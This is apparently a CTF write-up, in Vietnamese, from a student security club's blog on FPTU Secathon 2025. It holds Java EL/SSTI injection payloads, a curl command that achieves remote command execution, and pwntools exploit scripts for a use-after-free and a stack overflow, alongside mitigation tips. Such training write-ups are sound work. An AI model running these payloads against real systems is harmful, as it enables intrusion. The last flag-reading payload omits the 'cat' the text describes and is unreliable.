FPTU Secathon 2025

FPTU-Ethical-Hackers-Club MVP++

Web Exploitation

1. Simple Business Failure

Định nghĩa sơ qua

SSTI (Server-Side Template Injection) là một trong những lỗ hổng web phổ biến, xảy ra khi dữ liệu do người dùng nhập vào được đưa thẳng vào template engine (hệ thống xử lý giao diện động) mà không được kiểm soát.

Template engine thường có cú pháp đặc biệt như {{ ... }}, ${ ... }, {% ... %},… để nhúng biến, gọi hàm, hoặc thậm chí thực thi code. Thông thường thì một trong những cách phổ biến nhất thường được sử dụng để kiểm tra rằng hệ thống có SSTI là nhập vào {7*7} hoặc {{7*7}}

Và ta nhận được kết quả là 49, chứng minh rằng hệ thống có lỗ hổng SSTI.

image

Để ngăn chặn SSTI đó chính là không bao giờ render dữ liệu đầu vào từ user trực tiếp qua template engine mà không xử lý, có thể thực hiện bằng vài cách như:

  • Sanitize (lọc) dữ liệu nhập vào nghiêm ngặt.
  • Sử dụng template engine có cơ chế chống SSTI (các pipelines HTML-escaping, auto-escaping).

Phân tích đề bài

Về cấu trúc hệ thống, khi ta đăng nhập bằng tài khoản admin được cung cấp, người chơi có thể generate flag thông qua /admin/flag. Khi đó, hệ thống sẽ cho ta kết quả:

1
Flag is stored in Session with key: pxkheosz

image

Điều này cho thấy flag đã được lưu vào session phía server với key là pxkheosz. Do đó, mục tiêu là phải tìm cách đọc nội dung session từ một tài khoản user khác.

Các bước thực hiện

  1. Đăng nhập tài khoản admin

Truy cập vào login:

1
2
Username: admin
Password: admin

Từ đó ta tạo flag tại endpoint /admin/flag:

image

  1. Tạo user mới

Truy cập /register để tạo một tài khoản mới ở trên cùng trình duyệt (vì mã được tạo ra từ cred admin là sẽ dựa theo session):

1
2
Username: huhu
Password: 123456

Sau đó đăng nhập bằng tài khoản này để truy cập trang người dùng – tại đây có mục cho phép nhập mô tả (Description) và cập nhật nội dung.
image

  1. Sử dụng SSTI để đọc nội dung flag

Biết rằng flag được lưu với key pxkheosz trong session, ta dùng payload sau để truy xuất:

1
${pageContext.session.getAttribute('pxkheosz')}

Lỗ hổng ở đây là SSTI qua Java EL do ban đầu ta sử dụng một cú pháp là ${...}, Và flag được lưu dưới dạng : session.setAttribute("pxkheosz", "flag{xxx}"):

  • ${…}: Cú pháp Expression Language (EL) trong Java, dùng để chèn biến vào trang.

  • pageContext: Đối tượng đại diện cho ngữ cảnh trang JSP hiện tại.

  • session: Truy cập session hiện tại của người dùng.

  • getAttribute(‘pxkheosz’): Lấy giá trị của biến pxkheosz đã được lưu trong session (ở đây là flag).

2. Insecurity Is Fun

Định nghĩa sơ qua

Trong challnge này, sử dụng curl để gửi một requests như:

1
http://insecurityisfun.secathon2025-env.net/hello?username=Hwng

thì server sẽ render chuỗi "Hello Hwng". Tuy nhiên, thay vì chỉ in ra text, ứng dụng lại xử lý input bằng Java Expression Language (hoặc một cơ chế eval tương tự). Điều này có nghĩa là attacker có thể chèn biểu thức Java trực tiếp, và server sẽ evaluate (chạy) nó.

Đây là một dạng của Server-Side Template Injection (SSTI) nhưng nguy hiểm hơn vì dev đã dùng eval: hoặc cơ chế tương tự để chạy Java code. Hậu quả gây ra là input người dùng không chỉ những được hiển thị, mà thậm chí được thực thi như code Java. Ví dụ cơ bản:

1
Runtime.getRuntime().exec("ls").getInputStream()

→ chạy lệnh ls trực tiếp trên server.

Các bước thực hiện

Sử dụng lỗ hổng eval, ta chạy payload sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
curl --get "http://insecurityisfun.secathon2025-env.net/hello" \
--data-urlencode "username=eval:''.
getClass().
forName('java.util.Scanner').
getConstructor(''.getClass().forName('java.io.InputStream')).
newInstance(
''.getClass().forName('java.lang.Runtime').
getMethod('getRuntime').invoke(null).
exec('ls -la').
getInputStream()
).
useDelimiter(\"\\\\A\").
next()"

và nhận về với kết quả:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
next()!</h1>
Result type: java.lang.String<br>
Result: total 248
drwxr-xr-x 1 root root 4096 May 5 17:05 .
drwxr-xr-x 1 root root 4096 May 5 17:04 ..
drwxr-xr-x 2 root root 4096 May 5 17:05 bin
-rw-r--r-- 1 root root 24262 Apr 1 17:20 BUILDING.txt
drwxr-xr-x 1 root root 4096 Jul 27 04:14 conf
-rw-r--r-- 1 root root 6166 Apr 1 17:20 CONTRIBUTING.md
-rw-r--r-- 1 root root 34219 May 5 17:05 filtered-KEYS
drwxr-xr-x 2 root root 4096 May 5 17:05 lib
-rw-r--r-- 1 root root 60393 Apr 1 17:20 LICENSE
drwxrwxrwt 1 root root 4096 Jul 27 04:14 logs
drwxr-xr-x 2 root root 4096 May 5 17:05 native-jni-lib
-rw-r--r-- 1 root root 2333 Apr 1 17:20 NOTICE
-rw-r--r-- 1 root root 3298 Apr 1 17:20 README.md
-rw-r--r-- 1 root root 6776 Apr 1 17:20 RELEASE-NOTES
-rw-r--r-- 1 root root 16109 Apr 1 17:20 RUNNING.txt
drwxrwxrwt 2 root root 4096 May 5 17:05 temp
-rw-r--r-- 1 root root 35385 May 5 17:05 upstream-KEYS
drwxr-xr-x 1 root root 4096 Jul 27 04:14 webapps
drwxr-xr-x 7 root root 4096 Apr 1 17:20 webapps.dist
drwxrwxrwt 1 root root 4096 Jul 27 04:14 work


</body>

Sau một hồi tìm kiếm thì bọn mình tìm ra được là flag nằm trong ./webapps/ROOT/WEB-INF/flag.txt, và sử dụng payload trên để dùng lệnh cat và ta sẽ có flag:

1
http://insecurityisfun.secathon2025-env.net/hello?username=eval:Runtime.getRuntime().exec(%22webapps%2FROOT%2FWEB-INF%2Fflag%2Etxt%22).getInputStream()

Pwn

1. Contest Rating

Định nghĩa sơ qua

Challenge này sử dụng lỗ hổng Use-After-Free: Khi chương trình free một con trỏ (chunk), nhưng vẫn giữ reference tới vùng nhớ đó và tiếp tục sử dụng.
Với lỗ hổng này, Attacker có thể:

  • Dùng UAF để đọc dữ liệu nhạy cảm (leak địa chỉ heap/libc).
  • Ghi đè dữ liệu (overwrite) vào vùng nhớ đã free để sửa biến quan trọng (ở đây là userLevel).

Các bước thực hiện

Ý tưởng là ta sẽ thay đổi giá trị của userLevel thành 0, để làm được điều đó ta cần phải thực hiện Double Free, bằng cách tận dụng việc free trong hàm comment ta có thể fill được tcache và thực hiện double free ở fastbin → leak được địa chỉ heap và sau đó là overwrite userLevel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep

# context.log_level = 'debug'
exe = context.binary = ELF('./app_patched', checksec=False)
libc = exe.libc

gdbscript = '''
init-pwndbg
# init-gef-bata
set max-visualize-chunk-size 0x500
set resolve-heap-via-heuristic force
d2d_ida
b *0x40296F
b *0x404040
b *0x402A93
b *0x402BE8
b *0x402B07
b *0x402D66
b *0x402BE8
c
'''

def start(argv=[]):
if args.LOCAL:
p = exe.process()
elif args.REMOTE:
host_port = sys.argv[1:]
p = remote(host_port[0], int(host_port[1]))
return p

def menu(option):
p.sendlineafter(b'> ', str(option).encode())

def alloc(content):
menu(1)
p.sendlineafter(b'> ', content)

def free(index):
menu(2)
menu(index)

def show():
menu(3)

def comment(content):
menu(4)
p.sendlineafter(b'!\n', content)
p.sendline(b"quit")

def demangle(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val

def mangle(heap_addr, val):
return (heap_addr >> 12) ^ val

# ==================== EXPLOIT ====================
p = start()

p.sendlineafter(b"Enter username: ", b"AAAA")
p.sendlineafter(b"Enter password: ", b"BBBB")

for _ in range(3):
alloc(b"A")

comment((b"A"*0x10 + b"\n")*6 +
b"A"*0x10)

free(1)
free(2)
free(1)

for _ in range(7):
alloc(b"A")
show()
p.recvuntil(b'1: ')
heap_leak = demangle(u64(p.recvline().strip().ljust(8, b'\x00')))
level = heap_leak - 0x60
log.info("Heap leak %#x", heap_leak)
log.info("Level chunk: %#x", level)

if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
pause()

alloc(p64(mangle(heap_leak, level)))
alloc(b"")
alloc(b"")
alloc(b"\x00"*0x8 + p64(0x21))

menu(5)

p.interactive()

2. Access Code Checking

Định nghĩa sơ qua

Bài này sử dụng lỗ hổng Buffer Overflow: Khi một biến mảng (buffer) được khai báo với kích thước cố định (ví dụ char buf[32]), nhưng chương trình cho phép nhập nhiều hơn 32 byte mà không giới hạn → dữ liệu thừa sẽ tràn sang vùng nhớ bên cạnh trên stack. Nếu ngay sau buffer có một biến khác (ví dụ int accessCode), attacker có thể ghi đè giá trị biến này bằng payload.

Đây là dạng stack-based buffer overflow, cụ thể là overflow để ghi đè biến cục bộ chứ chưa tới mức ghi đè EIP/RIP, mục tiêu chỉ đơn giản là bypass điều kiện kiểm tra bằng cách thay đổi giá trị biến kiểm soát luồng chương trình.

Một số những cách có thể phòng tránh bao gồm:

  • Không dùng hàm không an toàn như gets(), scanf("%s"), strcpy(), mà thay vào đó là những hàm như fgets(buf, sizeof(buf), stdin); hay scanf("%31s", buf);
  • Bật compiler protections như Stack canaries (-fstack-protector), FORTIFY_SOURCEASLR.

Cách giải

Đơn giản chỉ là 1 bài dùng Buffer Overflow để thay đổi giá trị của biến và sau đó pass điều kiện:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from time import sleep

context.log_level = 'debug'
exe = context.binary = ELF('./app', checksec=False)
libc = exe.libc

gdbscript = '''
init-pwndbg
# init-gef-bata
b *0x401185
c
'''

def start(argv=[]):
if args.LOCAL:
p = exe.process()
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
pause()
elif args.REMOTE:
host_port = sys.argv[1:]
p = remote(host_port[0], int(host_port[1]))
return p

# ==================== EXPLOIT ====================

p = start()

p.sendlineafter(b': ', b'A' * 60 + p32(0x1))

p.interactive()
  • Title: FPTU Secathon 2025
  • Author: FPTU-Ethical-Hackers-Club
  • Created at : 2025-08-25 14:34:00
  • Updated at : 2025-09-14 15:49:56
  • Link: https://blog.ehc-fptu.club/2025/08/25/FPTU-Secathon_2025/
  • License: All Rights Reserved © n1ghtf4ll